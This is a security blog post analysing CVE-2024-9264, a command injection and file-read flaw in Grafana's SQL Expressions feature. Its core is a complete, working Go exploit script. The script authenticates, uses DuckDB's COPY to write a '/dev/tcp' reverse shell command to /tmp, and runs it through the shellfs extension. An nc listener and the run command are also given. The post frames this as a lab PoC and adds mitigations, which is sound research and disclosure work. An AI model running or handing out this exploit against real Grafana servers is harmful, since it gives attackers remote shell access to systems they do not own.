CVE-2024-9264: Command Injection and LFI in Grafana

2024-10-25
Kamran Hasan
CVE-2024-9264
CVE-2024-9264 exploit
CVE-2024-9264 RCE
Grafana RCE
Exploit Grafana
LFI Grafana
Local file read in Grafana
Remote code execution in Grafana
Hack Grafana
Grafana vulnerability
Grafana SQL injection
Grafana security
Grafana SQL Expressions
SQL Expressions exploit
Patch CVE-2024-9264
CVE-2024-9264 impact analysis
Grafana security advisory
Local File Inclusion
CVE-2024-9264: Command Injection and LFI in Grafana

Introduction

CVE-2024-9264 is a critical security vulnerability that affects Grafana, a popular open-source platform for visualizing metrics and logs. This vulnerability, stemming from the newly introduced SQL Expressions feature, allows for remote code execution (RCE) and local file inclusion (LFI) attacks. This blog post will delve into the technical details of the vulnerability, its potential impact, and mitigation strategies.

Understanding the Vulnerability

This security concern centers around an newly introduced data processing capability in Grafana called SQL Expressions which enables post-query manipulation of datasource results. This feature interfaces with a DuckDB command-line utility to process DataFrame information through SQL operations. The design allows SQL queries to be executed directly against the data, but insufficient input validation created pathways for both command execution and file system access.

Due to a suboptimal configuration of feature toggles, this beta functionality remains active at the API level without explicit activation. One critical caveat exists - exploitation requires the target system to meet a specific prerequisite: the DuckDB executable must be discoverable within the environmental PATH variable of the Grafana service process.

A notable safety barrier is that Grafana's default distribution does not bundle the DuckDB binary. Therefore, successful exploitation hinges on whether DuckDB has been manually installed and properly configured in the system's PATH that Grafana can access. Systems without properly configured DuckDB installation remain protected from this vulnerability vector.

Key Vulnerability Details:

  • Vulnerable Component: SQL Expressions feature

  • Attack Vector: Malicious SQL queries injected by authenticated users

  • Impact: Remote code execution and local file inclusion

  • Required User Privilege: Viewer or higher

Technical Breakdown

  • Malicious SQL Query Injection:

    • An attacker can craft a malicious SQL query that includes system commands or file paths within the query string.

    • When Grafana processes this query, it fails to sanitize the input correctly, leading to the execution of the malicious code.

  • Command Injection:

    • By injecting system commands into the SQL query, an attacker can execute arbitrary commands on the underlying system. This could involve reading sensitive files, modifying system configurations or even launching network attacks               

  • Local File Inclusion:

    • By injecting file paths into the SQL query, an attacker can access and potentially download sensitive files from the system. This could expose confidential information or provide further attack vectors.

Exploitation Scenarios

  • Remote Code Execution: An attacker could compromise the entire Grafana server, potentially gaining control over the underlying system. This could lead to data theft, system disruption, or further attacks on other systems within the network.    

  • Local File Inclusion: An attacker could access sensitive configuration files, source code, or other confidential data stored on the server. This information could be used to launch targeted attacks or exploit other vulnerabilities.

Proof of Concept

For reproducing and analyzing this CVE-2024-9264, we need a controlled environment that meets the specific prerequisites for the vulnerability. The lab setup for this PoC utilizes Docker to deploy a Grafana instance (version 11.0.0) with the required DuckDB binary.

The configuration will need a custom Dockerfile that extends the official Grafana Ubuntu-based image, ensuring DuckDB CLI (version 1.1.2) is properly installed and accessible within Grafana's execution environment.

Below is a snapshot of my laptop setup as I work through the Docker configurations needed for our lab environment.

Alright, lets get back to PoC. We will be using the following Dockerfile:

FROM grafana/grafana:11.0.0-ubuntu

USER root
RUN apt-get update && apt-get install -y && apt-get install unzip -y  \
    wget \
    && wget https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip \
    && unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
    && chmod +x /usr/local/bin/duckdb \
    && rm duckdb_cli-linux-amd64.zip

ENV PATH="/usr/local/bin:${PATH}"

And following docker compose (make sure the above Dockerfile exists in the same directory):

version: '3.8'
services:
  grafana:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: grafana
    ports:
      - "3000:3000"
    environment:
      - GF_SECURITY_ADMIN_USER=admin
      - GF_SECURITY_ADMIN_PASSWORD=password
    volumes:
      - grafana_data:/var/lib/grafana

volumes:
  grafana_data:

Now we can simply get our vulnerable target up and running by:

docker compose up --build

Once the container is up, we can verify the installation on http://localhost:3000

Alright, its time to exploit this CVE and pwn the target to get a reverse shell out of it.

We will use the following exploit script in go lang to execute our exploit vector against the live target we have just hosted in our environment:

package main

import (
    "bytes"
    "encoding/json"
    "flag"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "net/http/cookiejar"
    "time"
)

type SecurityConfig struct {
    GrafanaURL  string
    Credentials struct {
        Username string
        Password string
    }
    RemoteEndpoint struct {
        IP   string
        Port string
    }
    Client    *http.Client
    AuthToken string
}

type GrafanaQuery struct {
    Datasource struct {
        Name string `json:"name"`
        Type string `json:"type"`
        UID  string `json:"uid"`
    } `json:"datasource"`
    Expression string `json:"expression"`
    Hide       bool   `json:"hide"`
    RefID      string `json:"refId"`
    Type       string `json:"type"`
    Window     string `json:"window"`
}

type QueryPayload struct {
    Queries []GrafanaQuery `json:"queries"`
}

func NewSecurityConfig() *SecurityConfig {
    jar, err := cookiejar.New(nil)
    if err != nil {
        log.Fatal(err)
    }
    
    return &SecurityConfig{
        Client: &http.Client{
            Jar: jar,
            Timeout: 30 * time.Second,
            Transport: &http.Transport{
                MaxIdleConns:        10,
                IdleConnTimeout:     30 * time.Second,
                DisableCompression:  true,
            },
        },
    }
}

func (c *SecurityConfig) Authenticate() error {
    payload := map[string]string{
        "user":     c.Credentials.Username,
        "password": c.Credentials.Password,
    }
    jsonData, err := json.Marshal(payload)
    if err != nil {
        return fmt.Errorf("error marshaling auth payload: %v", err)
    }
    // First get the login page to capture CSRF token if any
    resp, err := c.Client.Get(c.GrafanaURL)
    if err != nil {
        return fmt.Errorf("error getting login page: %v", err)
    }
    resp.Body.Close()

    loginURL := fmt.Sprintf("%s/login", c.GrafanaURL)
    req, err := http.NewRequest(http.MethodPost, loginURL, bytes.NewBuffer(jsonData))
    if err != nil {
        return fmt.Errorf("error creating request: %v", err)
    }
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Accept", "application/json")
    

    resp, err = c.Client.Do(req)
    if err != nil {
        return fmt.Errorf("authentication request failed: %v", err)
    }
    defer resp.Body.Close()

    body, _ := ioutil.ReadAll(resp.Body)
    
    // Check for token in response headers
    for _, cookie := range resp.Cookies() {
        if cookie.Name == "grafana_session" {
            c.AuthToken = cookie.Value
            break
        }
    }

    if c.AuthToken == "" {
        // Try to get token from response body if it's there
        var response map[string]interface{}
        if err := json.Unmarshal(body, &response); err == nil {
            if token, ok := response["token"].(string); ok {
                c.AuthToken = token
            }
        }
    }
    log.Printf("Response status: %d\n", resp.StatusCode)
    log.Printf("Response body: %s\n", string(body))
    log.Println("✓ Authentication successful")
    return nil
}

func (c *SecurityConfig) CveExploitTest() error {
    endpoint := fmt.Sprintf("/dev/tcp/%s/%s", c.RemoteEndpoint.IP, c.RemoteEndpoint.Port)
    
    payload := QueryPayload{
        Queries: []GrafanaQuery{
            {
                Datasource: struct {
                    Name string `json:"name"`
                    Type string `json:"type"`
                    UID  string `json:"uid"`
                }{
                    Name: "Expression",
                    Type: "__expr__",
                    UID:  "__expr__",
                },
                Expression: fmt.Sprintf("SELECT 1;COPY (SELECT 'sh -i >& %s 0>&1') TO '/tmp/cve_exploit';", endpoint),
                Hide:       false,
                RefID:      "SEC_TEST",
                Type:       "sql",
                Window:     "",
            },
        },
    }
    return c.sendSecurityPayload(payload, "security test preparation")
}

func (c *SecurityConfig) ExecuteExploitTest() error {
    payload := QueryPayload{
        Queries: []GrafanaQuery{
            {
                Datasource: struct {
                    Name string `json:"name"`
                    Type string `json:"type"`
                    UID  string `json:"uid"`
                }{
                    Name: "Expression",
                    Type: "__expr__",
                    UID:  "__expr__",
                },
                Expression: "SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('bash
/tmp/cve_exploit |');",
                Hide:       false,
                RefID:      "SEC_EXEC",
                Type:       "sql",
                Window:     "",
            },
        },
    }

    return c.sendSecurityPayload(payload, "security test execution")
}

func (c *SecurityConfig) sendSecurityPayload(payload QueryPayload, operation string) error {
    jsonData, err := json.Marshal(payload)
    if err != nil {
        return fmt.Errorf("error marshaling payload: %v", err)
    }
    url := fmt.Sprintf("%s/api/ds/query", c.GrafanaURL)
    
    req, err := http.NewRequest(http.MethodPost, url, bytes.NewBuffer(jsonData))
    if err != nil {
        return fmt.Errorf("error creating request: %v", err)
    }

    // Add all required headers
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Accept", "application/json")
    if c.AuthToken != "" {
        req.Header.Set("X-Grafana-Token", c.AuthToken)
    }

    // Add query parameters
    q := req.URL.Query()
    q.Add("ds_type", "__expr__")
    q.Add("expression", "true")
    q.Add("requestId", fmt.Sprintf("SEC_%d", time.Now().Unix()))
    req.URL.RawQuery = q.Encode()
    
    resp, err := c.Client.Do(req)
    if err != nil {
        return fmt.Errorf("%s request failed: %v", operation, err)
    }
    defer resp.Body.Close()

    body, _ := ioutil.ReadAll(resp.Body)
    log.Printf("Response status: %d\n", resp.StatusCode)
    log.Printf("Response body: %s\n", string(body))
    if resp.StatusCode != http.StatusOK {
        return fmt.Errorf("%s failed with status: %d", operation, resp.StatusCode)
    }

    log.Printf("✓ %s completed successfully\n", operation)
    return nil
}

func main() {
    config := NewSecurityConfig()
    flag.StringVar(&config.GrafanaURL, "url", "", "Grafana URL (e.g., http://127.0.0.1:3000)")
    flag.StringVar(&config.Credentials.Username, "username", "", "Grafana username")
    flag.StringVar(&config.Credentials.Password, "password", "", "Grafana password")
    flag.StringVar(&config.RemoteEndpoint.IP, "endpoint-ip", "", "Remote endpoint IP for Reverse Shell")
    flag.StringVar(&config.RemoteEndpoint.Port, "endpoint-port", "", "Remote endpoint port for Reverse Shell")
    flag.Parse()
    if config.GrafanaURL == "" || config.Credentials.Username == "" || 
       config.Credentials.Password == "" || config.RemoteEndpoint.IP == "" || 
       config.RemoteEndpoint.Port == "" {
        log.Fatal("All flags are required. Use -h for help")
    }
    if err := config.Authenticate(); err != nil {
        log.Fatal("Authentication error:", err)
    }
    if err := config.CveExploitTest(); err != nil {
        log.Fatal("Reverse shell preparation error:", err)
    }
    if err := config.ExecuteExploitTest(); err != nil {
        log.Fatal("Error while triggering reverse shell:", err)
    }
    log.Printf("✓ Security assessment completed. Monitor endpoint %s:%s\n",
        config.RemoteEndpoint.IP, config.RemoteEndpoint.Port)
}
Here's a technical breakdown of how the exploit works:
  • The script first establishes a valid session with the Grafana instance using provided credentials. It maintains session state through cookies and captures authentication tokens for subsequent requests.

  • This stage exploits the SQL Expressions feature by:

    • Using DuckDB's COPY command to write a reverse shell command to a temporary file

    • Leveraging the unvalidated SQL query execution to perform file system operations

    • Constructing the reverse shell command with user-specified IP and port

  • The second stage activates the payload by:

    • Installing and loading the shellfs extension

    • Using DuckDB's extension system to execute system commands

    • Triggering the reverse shell through file system interaction

  • The exploit then delivers payloads through the vulnerable /api/ds/query endpoint (we can get a sample CURL of this API by intercepting the request using burpsuite when we create a new dashboard panel).

This exploit also require us to set up a listener for the incoming reverse shell connection out of target system.

nc -lvnp 4444

Now finally, we can execute the above script to exploit CVE-2024-9264 in the target app running at http://localhost:3000 (I have used the admin user in this case but we could use any user with minimum Viewer permission for this exploit to go through successfully)

go run exploit.go  --url http://127.0.0.1:3000  --username admin  --password password  --endpoint-ip <REVERSE_IP>  --endpoint-port <REVERSE_PORT>

Seems like the exploit went successful, let's check if we receive the reverse shell on our listener

Mitigation Strategies

  • Update Grafana: Install the latest security patch released by Grafana to address the vulnerability. This patch includes disabling the SQL expression feature to prevent malicious SQL injections.

  • Restrict User Permissions: Limit the number of users with Viewer or higher permissions. Implement strict access controls to minimize the potential impact of a successful attack.

  • Disable SQL Expressions (if not necessary): If the SQL Expressions feature is not essential for your use case, disable it to mitigate the risk.

  • Regular Security Audits and Penetration Testing: Conduct regular security assessments to identify and address potential vulnerabilities.    

Conclusion

CVE-2024-9264 highlights the importance of keeping software up-to-date and implementing strong security practices. By following the mitigation strategies outlined in this blog post, organizations can effectively protect their Grafana deployments from this critical vulnerability.

CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
2024-05-26
James McGill
CVE-2021-43798: Path Traversal in Grafana
CVE-2021-43798: Path Traversal in Grafana
2024-03-30
James McGill
CVE-2021-3129: Remote Code Execution in Laravel
CVE-2021-3129: Remote Code Execution in Laravel
2024-02-14
James McGill
CVE-2024-28116: Server-Side Template Injection in Grav CMS
CVE-2024-28116: Server-Side Template Injection in Grav CMS
2024-03-24
James McGill
CVE-2022-42889: Remote Code Execution in Apache Commons Text
CVE-2022-42889: Remote Code Execution in Apache Commons Text
2024-01-13
James McGill
CVE-2023-33246: Remote Code Execution in Apache RocketMQ
CVE-2023-33246: Remote Code Execution in Apache RocketMQ
July 23, 2023
Muhammad Kamran Hasan